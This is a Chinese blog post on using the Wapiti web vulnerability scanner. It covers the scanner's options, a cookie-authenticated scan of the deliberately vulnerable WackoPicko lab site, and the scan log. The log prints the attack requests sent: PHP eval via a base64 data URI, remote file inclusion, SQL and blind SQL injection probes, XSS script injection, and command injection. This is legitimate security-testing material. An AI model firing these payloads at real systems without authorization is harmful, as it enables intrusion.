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Wapiti web扫描工具使用——支持ssl，看官方示例报告就知道如何支持带cookie和用户名密码的扫描了

Wapiti 是一个基于命令行单Web漏洞扫描器，通过给目标站点发送 GET 和 POST 请求查找如下漏洞： (http://wapiti.sourceforge.net/):

File disclosure
数据库注入
XSS (跨站脚本)
Command execution detection
CRLF injection
XXE (XML eXternal Entity) injection
Use of known potentially dangerous files
Weak .htaccess configurations that can be bypassed
包含敏感信息的备份文件 (source code disclosure)

这篇文字，讨论如何利用 Wapiti 进行测试应用漏洞单发现和扫描报告的生成

实践

命令行调用 Wapiti：

作者：半个王国
链接：https://www.jianshu.com/p/d550d7b820a9

上述方式有问题，最新版命令已经改变：

Usage: wapiti [options]

可选参数:
  -h, --help                                     显示此帮助消息并退出
  -u URL, --url URL                              定义扫描范围的基础URL 默认扫描范围是folder
  --scope {page, folder, domain, url, punk}      设置扫描范围
  -m MODULES_LIST, --module MODULES_LIST         加载模块列表
  --list-modules                                 列出Wapiti攻击模块并退出
  -l LEVEL, --level LEVEL                        设置攻击等级
  -p PROXY_URL, --proxy PROXY_URL                设置HTTP(S)代理 支持HTTP(S), SOCKS
  --tor                                          使用Tor监听器 (127.0.0.1:9050)
  -a CREDENTIALS, --auth-cred CREDENTIALS        设置HTTP认证凭据
  --auth-type {basic, digest, kerberos, ntlm}    设置认证类型
  -c COOKIE_FILE, --cookie COOKIE_FILE           设置json格式的Cookie文件
  --skip-crawl                                   不恢复之前会话记录的扫描进程
  --resume-crawl                                 即使先前曾进行过某些已停止的攻击也可以恢复扫描进程
  --flush-attacks                                放弃当前会话的攻击历史和漏洞信息
  --flush-session                                放弃所有之前发现的当前目标的所有信息包括爬取的URL和漏洞等
  --store-session PATH                           存储攻击历史记录和会话数据的目录
  -s URL, --start URL                            添加起始扫描URL
  -x URL, --exclude URL                          添加要排除的URL
  -r PARAMETER, --remove PARAMETER               删除URL中的给定的参数
  --skip PARAMETER                               不攻击给定的参数
  -d DEPTH, --depth DEPTH                        设置扫描深度
  --max-links-per-page MAX                       设置扫描范围内每一页面提取的链接数
  --max-files-per-dir MAX                        设置每一目录探索的页面数
  --max-scan-time MINUTES                        设置扫描持续时间float分钟数
  --max-parameters MAX                           拥有超过最大输入参数的URL和表单在攻击前会被删除
  -S FORCE, --scan-force FORCE                   减少扫描和攻击的URL的简单办法 可选值: paranoid, sneaky, polite, normal, aggressive, insane
  -t SECONDS, --timeout SECONDS                  设置请求超时时间
  -H HEADER, --header HEADER                     设置每次请求的首部
  -A AGENT, --user-agent AGENT                   设置每次请求的User-Agent
  --verify-ssl {0, 1}                            是否检查SSL 默认不检查
  --color                                        使用颜色美化输出
  -v LEVEL, --verbose LEVEL                      设置详细度 (0: quiet, 1: normal, 2: verbose)
  -f FORMAT, --format FORMAT                     设置输出格式 支持: json, html(default), txt, openvas, vulneranet, xml
  -o OUPUT_PATH, --output OUPUT_PATH             输出文件或目录
  --external-endpoint EXTERNAL_ENDPOINT_URL      Url serving as endpoint for target
  --internal-endpoint INTERNAL_ENDPOINT_URL      Url serving as endpoint for attacker
  --endpoint ENDPOINT_URL                        Url serving as endpoint for both attacker and target
  --no-bugreport                                 当攻击模块失败时不发送Bug报告
  --version                                      打印程序版本号

What's new in Wapiti 3.0.3 ? Take a look here.

Wapiti can detect the following vulnerabilities :

File disclosure (Local and remote include/require, fopen, readfile...)
Database Injection (PHP/JSP/ASP SQL Injections and XPath Injections)
XSS (Cross Site Scripting) injection (reflected and permanent)
Command Execution detection (eval(), system(), passtru()...)
CRLF Injection (HTTP Response Splitting, session fixation...)
XXE (XML External Entity) injection
SSRF (Server Side Request Forgery)
Use of know potentially dangerous files (thanks to the Nikto database)
Weak .htaccess configurations that can be bypassed
Presence of backup files giving sensitive information (source code disclosure)
Shellshock (aka Bash bug)
Open Redirects
Uncommon HTTP methods that can be allowed (PUT)

General features

Generates vulnerability reports in various formats (HTML, XML, JSON, TXT...).
Can suspend and resume a scan or an attack (session mechanism using sqlite3 databases).
Can give you colors in the terminal to highlight vulnerabilities.
Different levels of verbosity.
Fast and easy way to activate/deactivate attack modules.
Adding a payload can be as easy as adding a line to a text file.

Browsing features

Support HTTP, HTTPS and SOCKS5 proxies.
Authentication on the target via several methods : Basic, Digest, Kerberos or NTLM.
Ability to restrain the scope of the scan (domain, folder, page, url).
Automatic removal of one or more parameters in URLs.
Multiple safeguards against scan endless-loops (for example, limit of values for a parameter).
Possibility to set the first URLs to explore (even if not in scope).
Can exclude some URLs of the scan and attacks (eg: logout URL).
Import of cookies (get them with the wapiti-getcookie tool).
Can activate / deactivate SSL certificates verification.
Extract URLs from Flash SWF files.
Try to extract URLs from javascript (very basic JS interpreter).
HTML5 aware (understand recent HTML tags).
Several options to control the crawler behavior and limits.
Skipping some parameter names during attack.
Setting a maximum time for the scan process.
Adding some custom HTTP headers or setting a custom User-Agent.

看官方的示例报告就知道是如何支持cookie和用户名、密码的扫描了：

Hello,

Here is a really fast tutorial on Wapiti and Wapiti-getcookie usage to show how to login to a website to retrieve cookies
then use the generated cookie file to launch a Wapiti scan.

First, I use wapiti-getcookie to login in the restricted area and get the cookie in cookies.json :

bash-4.2$ wapiti-getcookie -u http://wackopicko/users/login.php -c cookies.json
<Cookie PHPSESSID=aofe1utktsh6q4blip8nr9820lksehjf0tr3019vm6bq8v1ca6d1 for wackopicko/>

Choose the form you want to use or enter 'q' to leave :
0) GET http://wackopicko/pictures/search.php?query=&x=1&y=1 (0)
1) POST http://wackopicko/users/login.php (0)
        data: username=&password=

Enter a number : 1

Please enter values for the following form:
url = http://wackopicko/users/login.php
username: wanda
password: wanda
<Cookie PHPSESSID=aofe1utktsh6q4blip8nr9820lksehjf0tr3019vm6bq8v1ca6d1 for wackopicko/>

It can also be done with wapiti-getcookie this way (if you have all necessary informations about the form) :
wapiti-getcookie -u http://wackopicko/users/login.php -c cookies.json -d "username=wanda&password=wanda"

Then, I scan the vulnerable website using the cookie and excluding the logout script :

bash-4.2$ wapiti -u http://wackopicko/ -x http://wackopicko/users/logout.php -c cookies.json
    __      __               .__  __  .__________
   /      /  \_____  ______ |__|/  |_|__\_____   
      //   /\__   \____ |     __  | _(__  <
            /  / __ |  |_> >  ||  | |  |/        
     \__/  /  (____  /   __/|__||__| |__/______  /
          /        /|__|                      /

Wapiti-3.0.0 (wapiti.sourceforge.net)
[*] Saving scan state, please wait...

 Note
========
This scan has been saved in the file /home/devloop/.wapiti/scans/wackopicko_folder_30e1d821.db
[*] Wapiti found 41 URLs and forms during the scan
[*] Loading modules:
         mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto, mod_delay, mod_buster, mod_shellshock

[*] Launching module exec
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=%3Benv HTTP/1.1
    Host: wackopicko
---
---
PHP evaluation in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D HTTP/1.1
    Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=%3Benv HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---
---
PHP evaluation in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---

[*] Launching module file
---
Remote inclusion vulnerability in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=http%3A%2F%2Fwww.google.fr%2F%3F HTTP/1.1
    Host: wackopicko
---
---
Remote inclusion vulnerability in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=http%3A%2F%2Fwww.google.fr%2F%3F HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---

[*] Launching module sql
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=%C2%BF%27%22%28 HTTP/1.1
    Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=%C2%BF%27%22%28 HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---

[*] Launching module xss
---
XSS vulnerability in http://wackopicko/pictures/search.php via injection in the parameter query
Evil request:
    GET /users/WackoPicko/website/pictures/search.php?query=%22%2F%3E%3Cscript%3Ealert%28%27wj6bncic12%27%29%3C%2Fscript%3E&x=1&y=1 HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/
---

[*] Launching module blindsql
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=sleep%287%29%231 HTTP/1.1
    Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=sleep%287%29%231 HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---

[*] Launching module permanentxss

Report
------
A report has been generated in the file /home/devloop/.wapiti/generated_report
Open /home/devloop/.wapiti/generated_report/wackopicko_12292017_1342.html with a browser to see this report.

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原文地址：https://www.cnblogs.com/bonelee/p/13624382.html